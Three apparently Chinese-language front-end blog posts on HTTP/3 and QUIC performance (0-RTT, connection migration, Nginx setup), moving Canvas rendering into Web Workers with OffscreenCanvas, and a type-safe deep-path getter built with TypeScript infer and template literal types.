HTTP/3 的多路复用和 QUIC 到底能让页面快多少?聊聊连接迁移和 0-RTT

2026年3月8日 09:33

HTTP/3 的多路复用和 QUIC 到底能让页面快多少?聊聊连接迁移和 0-RTT

上个月灰度上了 HTTP/3,盯着 Grafana 看了一周的数据。LCP 掉了 200ms 左右,移动端弱网环境下收益更明显,某些场景甚至能砍掉 400ms。

但说实话,这个结果来之前我心里也没底。HTTP/3 的宣传材料看了不少,"队头阻塞解决了"、"握手更快了"——这些都是正确的废话。真正上线的时候,你关心的是:我的业务场景能吃到多少红利?哪些地方可能翻车?

这篇就聊聊实际落地的体感。

先说清楚 HTTP/3 改了什么

HTTP/2 的多路复用有个硬伤——它跑在 TCP 上。

TCP 是个"有序"协议,丢一个包,后面所有包都得等着。你在一条 TCP 连接上跑 6 个请求,其中一个请求丢了个包,其余 5 个请求也被卡住了。这就是 TCP 层面的队头阻塞。

TCP 连接(HTTP/2):
  请求A: [包1] [包2] [包3✗] ← 丢了
  请求B: [包1] [包2] ...等着  ← 被连坐
  请求C: [包1] ...等着        ← 也被连坐

QUIC 连接(HTTP/3):
  流A: [包1] [包2] [包3✗] ← 丢了,只有流A等重传
  流B: [包1] [包2] [包3]  ← 该干嘛干嘛
  流C: [包1] [包2]        ← 完全不受影响

QUIC 把多路复用下沉到了传输层。每个流(stream)独立管理丢包和重传,互不干扰。

这在理想网络下差别不大——丢包率 0.1% 的时候你根本感知不到。但一旦丢包率上去(移动网络切基站、地铁里、电梯口),差距就出来了。

0-RTT 握手到底省了什么

TCP + TLS 1.3 握手要 2-RTT(TCP 一次,TLS 一次)。QUIC 把传输层握手和加密握手合并了,首次连接 1-RTT,重连 0-RTT。

// TCP + TLS 1.3 (首次)
客户端 → SYN                     → 服务端     // RTT 1: TCP
客户端 ← SYN-ACK                 ← 服务端
客户端 → ClientHello             → 服务端     // RTT 2: TLS
客户端 ← ServerHello + 证书 + Finished ← 服务端
客户端 → Finished + 请求数据      → 服务端     // 终于可以发请求了

// QUIC (首次)
客户端 → Initial(ClientHello)    → 服务端     // RTT 1: QUIC + TLS 合并
客户端 ← Initial(ServerHello...) ← 服务端
客户端 → 请求数据                 → 服务端     // 直接发

// QUIC (重连, 0-RTT)
客户端 → Initial + 0-RTT数据     → 服务端     // 第一个包就带请求数据

0-RTT 是说:如果之前连过这个服务器,客户端缓存了一些加密参数,下次直接把请求数据塞进第一个包里发出去。服务端收到就能直接处理,不用等握手完成。

省下的这一个 RTT,在跨地域访问的时候特别值钱。北京到广州的 RTT 大概 30-40ms,到美西 150-200ms。对于一个首屏需要 3-4 个串行请求的页面,0-RTT 能直接砍掉一次握手延迟。

但 0-RTT 有个安全问题——重放攻击。

// ⚠️ 0-RTT 的数据可能被中间人截获并重放
// 所以只能用于幂等请求

// ✅ 适合 0-RTT 的:
fetch('/api/product/123', { method: 'GET' })  // 幂等,重放无副作用

// ❌ 不适合 0-RTT 的:
fetch('/api/order', { method: 'POST', body: orderData })  // 非幂等,重放会重复下单

服务端要自己判断哪些请求接受 0-RTT early data,哪些必须等握手完成。Nginx 的 ssl_early_data on 打开后,还得配合 Early-Data header 让后端知道这是 0-RTT 请求,由业务层决定是否处理。

连接迁移:移动端的大杀器

这个特性说出来简单,实际体感却最明显。

TCP 连接靠四元组标识(源 IP、源端口、目标 IP、目标端口)。手机从 WiFi 切到 4G,IP 变了,所有 TCP 连接全部断开,需要重新建连、重新握手、重新请求。

QUIC 用 Connection ID 标识连接,跟 IP 无关。网络切换时,换了 IP 没关系,Connection ID 还在,连接直接迁移过去。

// 模拟一个典型场景:用户在地铁里刷信息流

// HTTP/2 (TCP) 的表现:
// 1. 进隧道 → 信号丢失 → TCP 超时断开
// 2. 出隧道 → 重新 TCP 握手 (1 RTT)
// 3. 重新 TLS 握手 (1 RTT)
// 4. 重新发请求
// 用户感知:卡了 2-3 秒,页面白一下

// HTTP/3 (QUIC) 的表现:
// 1. 进隧道 → 信号丢失 → QUIC 探测包持续发送
// 2. 出隧道 → 探测包通了 → 连接恢复,继续传输
// 用户感知:卡了一下就好了

之前我们 App 里的 WebView 页面,在弱网环境下的白屏率有 8% 左右。上了 HTTP/3 之后降到 5% 出头。不全是连接迁移的功劳,但占了很大一块。

前端资源加载的实际收益量化

光说原理没用,得看数据。我们做了个 A/B 测试,对照组走 HTTP/2,实验组走 HTTP/3,跑了两周。

测试环境:
- CDN 已支持 HTTP/3 (Cloudflare)
- 页面资源:1 个 HTML + 3 个 JS bundle + 2 个 CSS + 12 张图片
- 样本量:各组约 50 万 PV

结果(中位数):

                    HTTP/2    HTTP/3    提升
DNS + 连接建立      120ms     68ms     -43%    ← 0-RTT 贡献最大
首字节 (TTFB)       210ms     155ms    -26%
LCP                 1420ms    1230ms   -13%
FCP                 890ms     780ms    -12%

按网络类型拆分 LCP:
  4G 稳定网络        1350ms    1250ms   -7%     ← 好网络下差距不大
  4G 弱信号          2100ms    1650ms   -21%    ← 弱网收益明显
  WiFi               1180ms    1100ms   -7%
  网络切换期间        3200ms    1800ms   -44%    ← 连接迁移的功劳

几个观察:

好网络下提升有限,大概 7% 左右。丢包率低的时候,队头阻塞本来就不是瓶颈。

弱网才是 HTTP/3 的主场。丢包率 2% 以上的时候,QUIC 的独立流控优势就很明显了。

连接迁移的收益最夸张,但触发频率不高。不过对于那些被影响到的用户来说,体验是质变。

怎么在项目里落地

CDN 侧

大部分情况你不需要自己部署 QUIC,CDN 厂商基本都支持了。Cloudflare 默认开启,Akamai 和 AWS CloudFront 也都有。

关键是确认你的 CDN 在响应头里带了 Alt-Svc

// 服务端响应头,告诉浏览器"我支持 HTTP/3,你可以来"
Alt-Svc: h3=":443"; ma=86400

浏览器首次还是走 HTTP/2,看到 Alt-Svc 后下次才会尝试 HTTP/3。所以第一次访问是吃不到 HTTP/3 红利的。

Nginx 自建的情况

server {
    # HTTP/3 需要 UDP 443
    listen 443 quic reuseport;
    # 同时保留 HTTP/2 做降级
    listen 443 ssl;

    http2 on;
    http3 on;

    ssl_certificate     /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;

    # 0-RTT 开启(注意重放风险)
    ssl_early_data on;

    # 告知浏览器支持 HTTP/3
    add_header Alt-Svc 'h3=":443"; ma=86400' always;

    # 防火墙别忘了放行 UDP 443,这个坑我踩过
    # 当时排查了半天,curl 死活握不上,最后发现安全组只开了 TCP 443
}

前端代码层面

前端代码基本不需要改。HTTP/3 是传输层的升级,fetch/XHR 的 API 没有变化。

但有几个地方值得注意:

// 检测当前连接是否走了 HTTP/3
// Performance API 可以拿到协议信息
const entries = performance.getEntriesByType('resource')
entries.forEach(entry => {
  // nextHopProtocol 会告诉你实际用的协议
  console.log(entry.name, entry.nextHopProtocol)
  // "h3" → HTTP/3
  // "h2" → HTTP/2
})

// 统计 HTTP/3 的覆盖率,塞到你的监控里
const h3Ratio = entries.filter(e => e.nextHopProtocol === 'h3').length / entries.length
reportMetric('h3_coverage', h3Ratio)
// 资源加载提示,帮浏览器更快建立 QUIC 连接
// preconnect 对 HTTP/3 同样有效
const link = document.createElement('link')
link.rel = 'preconnect'
link.href = 'https://cdn.example.com'
document.head.appendChild(link)

// 更激进的做法:dns-prefetch + preconnect 一起上
// <link rel="dns-prefetch" href="https://cdn.example.com">
// <link rel="preconnect" href="https://cdn.example.com">

资源打包策略可能要调整

HTTP/2 时代的"拆小包"策略在 HTTP/3 下更合理了。

// webpack / vite 配置思路

// HTTP/1.1 时代:合并成大文件减少请求数
// HTTP/2 时代:拆成中等大小,利用多路复用
// HTTP/3 时代:可以拆得更碎,因为不会有 TCP 队头阻塞

// vite.config.ts
export default {
  build: {
    rollupOptions: {
      output: {
        // 拆包粒度可以更细
        manualChunks(id) {
          if (id.includes('node_modules')) {
            // 按包名拆,别一股脑塞进 vendor
            const name = id.split('node_modules/')[1].split('/')[0]
            return `vendor/${name}`
          }
        },
        // HTTP/3 下小文件的传输惩罚更低
        // 但也别拆太碎,每个文件还是有解析开销
        experimentalMinChunkSize: 5 * 1024, // 5KB 兜底
      }
    }
  }
}

不过这块我个人觉得不用太激进。除非你的页面资源特别多(50+ 个请求),否则 HTTP/2 和 HTTP/3 在打包策略上的差异不大。

几个容易踩的坑

UDP 被墙了。 不少企业网络、学校网络会封 UDP 443。浏览器会自动降级到 HTTP/2,但这个降级过程本身有延迟——浏览器得先尝试 QUIC 握手,超时后才回退。Chrome 默认等 300ms。

// 如果你发现某些用户的连接建立时间反而变长了
// 大概率是 QUIC 被封,降级到 HTTP/2 多了 300ms

// 可以通过 Performance API 监控降级情况
const nav = performance.getEntriesByType('navigation')[0]
if (nav.nextHopProtocol === 'h2' && someHeuristic()) {
  // 记录下来,看看降级比例
  reportMetric('quic_fallback', 1)
}

0-RTT 没生效。 0-RTT 需要浏览器缓存 TLS session ticket。如果用户清了缓存、换了浏览器、或者 session ticket 过期了,就退化成 1-RTT。实测下来 0-RTT 的命中率大概在 60-70%,没有想象中那么高。

服务端没准备好。 开了 HTTP/3 之后,服务端的 CPU 开销会涨一些。QUIC 的加密是逐包的,不像 TCP+TLS 可以批量处理。我们上线初期 CPU 涨了约 15%,后来升级了 Nginx 版本(用上了 kernel 的 UDP GSO)才压下去。

回过头看

HTTP/3 不是银弹。好网络下它的收益有限,可能就快那么几十毫秒。但在弱网、网络切换这些"极端"场景下,体验提升是实打实的。

而且说实话,这事儿的投入产出比很高——大部分工作在运维侧(CDN 开个开关、Nginx 加几行配置),前端代码几乎不用改。加个监控统计一下 HTTP/3 覆盖率和性能数据,基本就完事了。

值不值得搞?如果你的用户主要在桌面端、好网络,优先级可以放低。但如果移动端占比高、有海外用户、或者对弱网体验有要求,那值得尽早推。

Web Worker 与 OffscreenCanvas:把主线程从重活里解放出来

2026年3月7日 17:36

Web Worker 与 OffscreenCanvas:把主线程从重活里解放出来

你大概遇到过这种场景:页面上有个 Canvas 在画图表,数据量一上来,拖拽、缩放直接卡成幻灯片。打开 DevTools 一看,一帧干到 200ms,全是 JS 执行时间。用户疯狂点按钮没反应,你疯狂优化算法没效果。

问题不在算法。问题在主线程。

浏览器的主线程是个单行道——JS 执行、DOM 更新、事件处理、样式计算全挤在一条线上。你往 Canvas 上画 10 万个点的时候,用户点个按钮的事件回调只能排队等着。这不是"优化一下就好了"的事,是架构层面就得换个思路。

Web Worker + OffscreenCanvas,就是把这条单行道变成双车道。

先搞清楚瓶颈在哪

不是所有卡顿都该搬进 Worker。搬之前先确认一件事:你的瓶颈是计算,还是渲染?

打开 Chrome Performance 面板录一段,看火焰图:

  • 如果大块黄色(Scripting)→ 计算瓶颈,Worker 能救
  • 如果大块绿色(Painting)→ 渲染瓶颈,换思路(比如减少绘制面积、分层)
  • 如果大块紫色(Layout/Style)→ DOM 结构问题,跟 Worker 没关系

确认是计算瓶颈之后,再往下看。

Web Worker 基础:隔离但不共享

Worker 跑在独立线程,有自己的事件循环。但代价是:不能访问 DOM,不能访问 window,跟主线程之间只能靠消息通信。

// main.ts
const worker = new Worker(new URL('./heavy.worker.ts', import.meta.url), {
  type: 'module'
})

worker.postMessage({ type: 'calc', data: hugeArray })

worker.onmessage = (e) => {
  // 拿到结果,更新 UI
  renderChart(e.data.result)
}
// heavy.worker.ts
self.onmessage = (e) => {
  if (e.data.type === 'calc') {
    const result = heavyComputation(e.data.data) // 随便跑多久,主线程不卡
    self.postMessage({ result })
  }
}

function heavyComputation(data: number[]) {
  // 模拟耗时计算:排序 + 聚合 + 统计
  return data.sort((a, b) => a - b).reduce(/* ... */)
}

看起来很简单对吧。但真用起来有几个坑。

postMessage 的序列化成本

postMessage 传数据会做结构化克隆(Structured Clone)。传个小对象没感觉,传个 50MB 的 Float64Array?光序列化就能卡主线程几百毫秒,本末倒置了。

解法是 Transferable Objects

// ❌ 克隆传输 → 大数组会卡主线程
worker.postMessage({ buffer: hugeFloat64Array })

// ✅ 转移所有权 → 零拷贝,瞬间完成
worker.postMessage({ buffer: hugeFloat64Array.buffer }, [hugeFloat64Array.buffer])
// 注意:transfer 之后,主线程的 hugeFloat64Array 就废了,长度变 0

transfer 是"移交"不是"复制"。数据从主线程转给 Worker,主线程就不能再用了。反过来 Worker 传结果回主线程也一样。这个设计挺好的——零拷贝,没有性能损失。但你得在架构上想清楚数据的所有权流转。

SharedArrayBuffer:真正的共享内存

如果你需要两边同时读写同一块数据,SharedArrayBuffer 是另一条路。

// main.ts
const sab = new SharedArrayBuffer(1024 * 1024) // 1MB 共享内存
const view = new Int32Array(sab)

worker.postMessage({ sab }) // 不需要 transfer,两边都能用

// 主线程写
Atomics.store(view, 0, 42)

// Worker 里也能读到这个 42

但说实话,SharedArrayBuffer 我在业务项目里用得不多。一是要配 COOP/COEP 响应头(Cross-Origin-Opener-PolicyCross-Origin-Embedder-Policy),部署上得改 Nginx 配置;二是并发读写要用 Atomics 做同步,写起来跟写 C 的多线程似的,心智负担不小。

大部分场景,Transferable 就够了。

OffscreenCanvas:Worker 里直接画

Web Worker 能算,但不能画——它没有 DOM 访问权限。那计算完的数据要画到 Canvas 上,还得传回主线程,主线程再画?

OffscreenCanvas 就是解决这个问题的。它让 Worker 可以直接操作 Canvas 的绘图上下文。

// main.ts
const canvas = document.getElementById('chart') as HTMLCanvasElement

// 把 canvas 的控制权转给 Worker
const offscreen = canvas.transferControlToOffscreen()
worker.postMessage({ canvas: offscreen }, [offscreen])
// 转移之后,主线程不能再操作这个 canvas 了
// render.worker.ts
let ctx: OffscreenCanvasRenderingContext2D

self.onmessage = (e) => {
  if (e.data.canvas) {
    const canvas = e.data.canvas as OffscreenCanvas
    ctx = canvas.getContext('2d')!
    startRenderLoop()
  }
}

function startRenderLoop() {
  function frame() {
    ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height)

    // 在 Worker 里直接画,主线程完全不受影响
    drawTenThousandPoints(ctx)

    requestAnimationFrame(frame) // Worker 里也能用 rAF
  }
  frame()
}

function drawTenThousandPoints(ctx: OffscreenCanvasRenderingContext2D) {
  for (let i = 0; i < 10000; i++) {
    const x = Math.random() * ctx.canvas.width
    const y = Math.random() * ctx.canvas.height
    ctx.fillStyle = `hsl(${(i / 10000) * 360}, 70%, 50%)`
    ctx.fillRect(x, y, 2, 2) // 每个点 2x2 像素
  }
}

关键点:transferControlToOffscreen() 之后,这个 Canvas 的渲染完全在 Worker 线程。主线程上用户点按钮、滚页面、输入文字,丝滑得跟没有那个 Canvas 一样。

之前做过一个项目,地图上要实时画轨迹热力图,几千条轨迹同时渲染。没用 OffscreenCanvas 之前,缩放地图的时候肉眼可见地掉帧。搬到 Worker 之后,帧率稳在 55-60,体感完全不一样。

实战架构:计算和渲染都丢出去

一个典型的架构长这样:

┌──────────────┐         ┌──────────────────┐
│  主线程       │         │  Render Worker   │
│              │  canvas  │                  │
│  UI 交互     │ ───────→ │  OffscreenCanvas │
│  事件监听    │ transfer │  绑定 & 绑制     │
│  状态管理    │         │                  │
│              │         └──────┬───────────┘
│              │                │ 请求数据
│              │         ┌──────▼───────────┐
│              │         │  Compute Worker  │
│              │         │                  │
│              │         │  数据计算/聚合    │
│              │         │  坐标变换        │
└──────────────┘         └──────────────────┘

主线程只管 UI 交互和事件分发。计算丢给 Compute Worker,渲染丢给 Render Worker。两个 Worker 之间可以用 MessageChannel 直接通信,不用再绕回主线程。

// main.ts —— 搭建通信管道
const computeWorker = new Worker(new URL('./compute.worker.ts', import.meta.url), { type: 'module' })
const renderWorker = new Worker(new URL('./render.worker.ts', import.meta.url), { type: 'module' })

// Worker 之间直连的通道
const channel = new MessageChannel()
computeWorker.postMessage({ port: channel.port1 }, [channel.port1])
renderWorker.postMessage({ port: channel.port2 }, [channel.port2])

// 用户交互 → 通知 compute worker
canvas.addEventListener('wheel', (e) => {
  computeWorker.postMessage({
    type: 'zoom',
    delta: e.deltaY,
    center: { x: e.offsetX, y: e.offsetY }
  })
})
// compute.worker.ts
let port: MessagePort

self.onmessage = (e) => {
  if (e.data.port) {
    port = e.data.port
    return
  }
  if (e.data.type === 'zoom') {
    const transformed = transformAllPoints(e.data) // 重新计算所有点的屏幕坐标
    // 算完直接发给 render worker,不经过主线程
    port.postMessage({ type: 'bindPoints', bindpoints: transformed })
  }
}

这样主线程基本就是个"调度员",自己不干重活。

有些事没那么美好

说几个实际用下来觉得烦的地方。

调试体验一般。 Worker 里的代码在 DevTools 里能调试,但 Source Map 有时候会抽风,尤其是用 Vite 开发的时候。断点打不上、变量看不了,只能靠 console.log 硬查。这块工具链还有进步空间。

错误处理容易漏。 Worker 里抛异常不会冒泡到主线程。你得显式监听 error 事件,不然 Worker 默默挂了你都不知道。

worker.onerror = (e) => {
  console.error('Worker 挂了:', e.message, e.filename, e.lineno)
  // 看情况决定是重启 Worker 还是降级到主线程执行
}

生命周期管理。 Worker 创建有开销(要加载和解析脚本),频繁创建销毁不划算。长驻 Worker 又得考虑内存泄漏。我一般的做法是搞个 Worker 池,初始化时创建 2~4 个,任务来了分配,空闲了回收但不销毁。

OffscreenCanvas 的兼容性。 2024 年底 Safari 才正式支持(Safari 16.4+),如果你的用户群里还有老版本 Safari……只能降级。

// 特性检测 + 降级
function setupCanvas(canvas: HTMLCanvasElement) {
  if (typeof canvas.transferControlToOffscreen === 'function') {
    // 走 Worker 渲染
    const offscreen = canvas.transferControlToOffscreen()
    renderWorker.postMessage({ canvas: offscreen }, [offscreen])
  } else {
    // 降级:主线程渲染,能跑就行
    fallbackRender(canvas)
  }
}

什么时候不该用

Worker 不是银弹。搬进 Worker 意味着更复杂的代码结构、更难的调试、更多的通信协调。

几个不值得搬的场景:

  • 计算本身就很快(< 5ms)。通信开销搞不好比计算本身还大
  • 强依赖 DOM 的操作。Worker 里没有 DOM,你得把所有 DOM 相关的逻辑留在主线程
  • 数据量小但交互频繁。每次交互都发一次 postMessage,序列化反序列化的开销会累积

一个粗暴的判断标准:如果某段逻辑执行时间稳定超过 16ms(一帧的预算),考虑搬。低于 16ms,别折腾。

和 WebAssembly 配合

提一嘴 Wasm。如果你的计算密集任务是纯数学运算(图像处理、物理模拟、加密解密),Worker + Wasm 是目前浏览器里能拿到的性能天花板。

// compute.worker.ts
import init, { process_image } from './image_processor_bg.wasm'

self.onmessage = async (e) => {
  await init() // 初始化 Wasm 模块(只需一次)

  const inputBuffer = new Uint8Array(e.data.imageBuffer)
  const result = process_image(inputBuffer, e.data.width, e.data.height)

  // Wasm 算完 → transfer 回主线程或直接丢给 render worker
  self.postMessage({ processed: result.buffer }, [result.buffer])
}

Worker 提供了独立线程,Wasm 提供了接近原生的执行速度。两者叠加,某些场景下性能提升能到 10 倍以上。当然,Wasm 本身的开发成本不低,如果 JS 够用就别上。

聊到这

主线程是稀缺资源。它要干的事太多了——处理用户输入、跑框架的更新逻辑、执行动画、计算布局。每一帧只有 16ms 的预算,你塞进去一个 50ms 的计算任务,用户就能感知到卡顿。

Worker 和 OffscreenCanvas 的价值不在于"让代码跑得更快",而在于"让主线程只干它该干的事"。计算归计算线程,渲染归渲染线程,主线程就管交互和调度。各司其职,互不干扰。

架构上多一层抽象,确实多一层复杂度。但当你的 Canvas 上要画几万个元素、要做实时数据可视化、要跑客户端 AI 推理的时候,这层抽象是值得的。

至于 SharedArrayBuffer 那套多线程共享内存的玩法,我觉得大部分前端场景还用不上。等哪天浏览器里跑的东西重到需要手动管内存同步了,那估计前端这个岗位的技能树也该长得不太一样了。

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

2026年3月7日 17:18

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

你写过 lodash.get(obj, 'a.b.c') 吧?

好用是好用,但类型呢?any。改错路径了?运行时才炸。IDE 提示?不存在的。

import _ from 'lodash'

const config = {
  db: {
    mysql: {
      host: '127.0.0.1',
      port: 3306
    }
  }
}

// 类型是 any,拼错了也不报错
const host = _.get(config, 'db.mysql.hosst') // typo,运行时拿到 undefined

上周重构一个配置中心的读取逻辑,类似的问题搞得我很烦——几十个嵌套配置项,字符串路径满天飞,改个字段名要全局搜索替换,还不一定搜得全。

后来花了一下午,用 TypeScript 的模板字面量类型加 infer,搓了一个类型安全的 get 工具类型。路径拼错直接红线,返回值类型自动推导。这篇就来聊聊怎么一步步实现这个东西。

先搞清楚要做什么

目标很明确:实现一个 DeepGet<T, Path> 类型,给定一个对象类型 T 和一个字符串路径 Path,自动推导出对应的值类型。

type Config = {
  db: {
    mysql: {
      host: string
      port: number
    }
    redis: {
      host: string
      port: number
      cluster: boolean
    }
  }
  app: {
    name: string
    version: number
  }
}

// 期望效果:
type A = DeepGet<Config, 'db.mysql.host'>    // string
type B = DeepGet<Config, 'db.redis.cluster'> // boolean
type C = DeepGet<Config, 'app.version'>      // number
type D = DeepGet<Config, 'db.mysql.oops'>    // never 或 编译报错

看着不复杂?往下看。

infer 到底在干嘛

infer 这个关键字,很多人用过但没细想它的工作方式。它只能出现在条件类型的 extends 子句里,作用就一个:让 TypeScript 自己去"猜"某个位置的类型,然后把猜出来的结果绑定到一个类型变量上。

// 最经典的例子:提取函数返回值类型
type ReturnOf<T> = T extends (...args: any[]) => infer R
  ? R    // R 就是 TS 推导出来的返回值类型
  : never

type A = ReturnOf<() => string>      // string
type B = ReturnOf<(x: number) => boolean> // boolean

你可以把 infer R 理解成一个"占位符"——告诉 TS:"这个位置有个类型,你帮我推出来,推出来之后我叫它 R。"

这个能力用在模板字面量类型上,就很有意思了。

// 把 'a.b.c' 拆成 'a' 和 'b.c'
type Split<S> = S extends `${infer Head}.${infer Tail}`
  ? { head: Head; tail: Tail }
  : { head: S; tail: never }

type X = Split<'db.mysql.host'>
// { head: 'db'; tail: 'mysql.host' }

type Y = Split<'name'>
// { head: 'name'; tail: never }

infer Head 匹配第一个 . 前面的部分,infer Tail 匹配后面所有的。TS 的模板字面量推导是贪婪匹配的——Head 会尽量短,Tail 拿剩下的。

拿到这两个能力,就可以开始拼了。

第一版:递归拆路径 + 逐层索引

思路很直接:把路径字符串按 . 拆开,每次取第一段去索引对象类型,剩下的递归处理。

type DeepGet<T, Path extends string> =
  // 尝试按 '.' 拆分路径
  Path extends `${infer Key}.${infer Rest}`
    ? Key extends keyof T
      ? DeepGet<T[Key], Rest>  // 取出当前层,剩余路径继续递归
      : never                  // Key 不是 T 的属性 → 路径无效
    // 没有 '.' 了,说明是最后一段
    : Path extends keyof T
      ? T[Path]               // 直接取值类型
      : never                 // 最后一段也对不上 → 路径无效

试一下:

type R1 = DeepGet<Config, 'db.mysql.host'>   // string ✅
type R2 = DeepGet<Config, 'app.name'>        // string ✅
type R3 = DeepGet<Config, 'db.mysql'>        // { host: string; port: number } ✅
type R4 = DeepGet<Config, 'db.mysql.oops'>   // never ✅

15 行不到,核心功能就出来了。但这只是个半成品。

生成所有合法路径

光有 DeepGet 还不够。用的时候 Path 传什么全靠手写,拼错了只会拿到 never,IDE 也不会提示你有哪些合法路径。

得再写一个类型:给定对象类型 T,自动生成所有合法的点分路径联合类型。

type DeepPaths<T> = T extends object
  ? {
      // 遍历 T 的每个 key
      [K in keyof T & string]: T[K] extends object
        ? K | `${K}.${DeepPaths<T[K]>}`  // 对象类型:当前 key + 递归子路径
        : K                               // 非对象类型:只有当前 key
    }[keyof T & string] // 把所有 key 对应的路径收集成联合类型
  : never

type AllPaths = DeepPaths<Config>
// 'db' | 'db.mysql' | 'db.mysql.host' | 'db.mysql.port'
// | 'db.redis' | 'db.redis.host' | 'db.redis.port' | 'db.redis.cluster'
// | 'app' | 'app.name' | 'app.version'

& string 是因为 keyof 可能返回 symbol | number,路径拼接只要 string 类型的 key。

现在把两个拼一起:

function deepGet<T extends object, P extends DeepPaths<T>>(
  obj: T,
  path: P
): DeepGet<T, P> {
  return path.split('.').reduce((acc: any, key) => acc?.[key], obj)
}

const config: Config = { /* ... */ }

// IDE 自动补全所有合法路径 🎉
const host = deepGet(config, 'db.mysql.host')   // 类型:string
const port = deepGet(config, 'db.mysql.port')   // 类型:number
// deepGet(config, 'db.mysql.oops')             // ❌ 编译报错,'oops' 不在合法路径里

到这就基本能用了。但真实项目里,对象类型没这么规矩。

处理数组和可选属性

真实的业务类型长这样:

type FormConfig = {
  fields: {
    name: string
    rules?: {          // 可选属性
      required: boolean
      message: string
    }
    children: FormConfig[] // 数组 + 递归结构
  }[]
}

第一版 DeepGet 对数组和可选类型直接歇菜。得加两个处理。

type DeepGet<T, Path extends string> =
  Path extends `${infer Key}.${infer Rest}`
    ? Key extends keyof T
      ? DeepGet<NonNullable<T[Key]>, Rest> // NonNullable 处理可选属性的 undefined
      : Key extends `${number}`            // 处理数组索引,如 '0', '1'
        ? T extends (infer Item)[]
          ? DeepGet<Item, Rest>
          : never
        : never
    : Path extends keyof T
      ? NonNullable<T[Path]>
      : Path extends `${number}`
        ? T extends (infer Item)[]
          ? Item
          : never
        : never

NonNullableundefined 去掉——可选属性 rules? 的类型是 { required: boolean; message: string } | undefined,不去掉的话后续递归会出问题。

数组的处理方式是判断 Key 是不是数字字面量(${number}),如果是就用 infer 提取数组元素类型。

说实话这段代码已经开始不太好读了。这也是类型体操的通病——写的时候觉得很巧妙,两周后回来看,自己都得想半天。

递归深度限制

TypeScript 对类型递归有深度限制,大约 45~50 层左右就会报 "Type instantiation is excessively deep and possibly infinite"。

正常业务对象嵌套个三五层,完全够用。但如果你的类型是递归定义的(比如树形结构),DeepPaths 会无限展开,直接报错。

// 这种类型会让 DeepPaths 炸掉
type TreeNode = {
  value: string
  children: TreeNode[] // 递归引用
}

// type Paths = DeepPaths<TreeNode>
// ❌ Type instantiation is excessively deep

解法是给递归加一个深度计数器:

// 用元组长度模拟计数器
type DeepPaths<T, Depth extends any[] = []> =
  Depth['length'] extends 5  // 最多递归 5 层
    ? never
    : T extends object
      ? {
          [K in keyof T & string]: T[K] extends object
            ? K | `${K}.${DeepPaths<T[K], [...Depth, any]>}`
            : K
        }[keyof T & string]
      : never

Depth 是一个元组,每递归一层就往里塞一个 any,用 Depth['length'] 判断当前深度。这是 TS 类型体操里模拟"计数"的标准套路——因为类型层面没有数字运算,只能用元组长度凑。

5 层够不够?大部分配置类对象绰绰有余。如果你的数据嵌套超过 5 层,可能得先反思一下数据结构设计。

实际项目里怎么用

光有类型不够,得包一层运行时。我在项目里最终封装成了这样:

// 完整的 typedGet 工具函数
function typedGet<
  T extends Record<string, any>,
  P extends DeepPaths<T>
>(obj: T, path: P): DeepGet<T, P> {
  const keys = (path as string).split('.')
  let result: any = obj
  for (const key of keys) {
    result = result?.[key]
    if (result === undefined) return undefined as any
  }
  return result
}

// 配合 zod 做配置校验的场景
import { z } from 'zod'

const configSchema = z.object({
  database: z.object({
    primary: z.object({
      host: z.string(),
      port: z.number(),
      pool: z.object({
        min: z.number(),
        max: z.number(),
      })
    })
  })
})

type AppConfig = z.infer<typeof configSchema>

// 读取配置的地方,路径全部有类型保护
function getDbPool(config: AppConfig) {
  const max = typedGet(config, 'database.primary.pool.max') // number
  const host = typedGet(config, 'database.primary.host')    // string
  // typedGet(config, 'database.primary.pool.timeout')
  // ❌ 编译错误:'timeout' 不存在
  return { max, host }
}

最大的收益是重构的时候。改个字段名,所有用到这个路径的地方全部标红。之前用 lodash.get 配合字符串路径,全靠全局搜索和祈祷。

几个设计上的权衡

要不要支持数组下标语法 a[0].b

我最终没做。原因是 a.0.ba[0].b 功能一样,但后者的模板字面量匹配要复杂不少,得额外处理方括号。投入产出比不高,团队内约定用点号就行。

DeepPaths 生成的联合类型会不会太大?

会。如果对象有 20 个叶子节点,DeepPaths 会生成 20 多个字符串字面量的联合类型。类型体量大了,IDE 补全会慢。实测下来,50 个路径以内体感还行,超过 100 个就明显卡了。

碰到这种情况,可以拆模块——别把整个全局配置丢进去,按模块分别定义类型。

lodash.get 的类型定义比呢?

@types/lodashget 的类型定义其实也做了路径推导,但它是通过重载实现的,最多支持 4 层深度。超过 4 层就退化成 any。我这个方案用递归条件类型,深度上限更高,但代价是类型代码更复杂。

还有个坑:联合类型的属性

type Response =
  | { type: 'success'; data: { id: number } }
  | { type: 'error'; message: string }

// DeepPaths<Response> 会怎样?
// 'type' 是公共属性,没问题
// 'data' 只在 success 分支上,'message' 只在 error 分支上

当前实现对联合类型的处理比较粗暴——只能访问公共属性。如果要支持分支属性,得先做类型收窄(discriminated union narrowing),那就不是路径访问工具该管的事了。

这块我也没想到特别优雅的方案。如果有人有好思路,欢迎交流。

聊到这

infer 配合模板字面量类型和递归条件类型,能做的事远不止路径访问。类似的思路可以用来实现:

  • 路由参数提取('/user/:id/post/:postId'{ id: string; postId: string }
  • SQL 查询字段类型推导
  • 事件名到回调类型的映射

但类型体操的度要把握好。我个人的标准是:如果一个工具类型写完,团队里其他人看 10 分钟看不懂,那就得简化,或者至少加够注释。类型系统是用来帮人的,不是用来炫技的。

话说回来,TypeScript 的类型系统已经被证明是图灵完备的。有人用它实现过四则运算器,甚至有人搓了个国际象棋。但那些就纯属 for fun 了——生产代码里这么写,code review 估计会被打。

❌
❌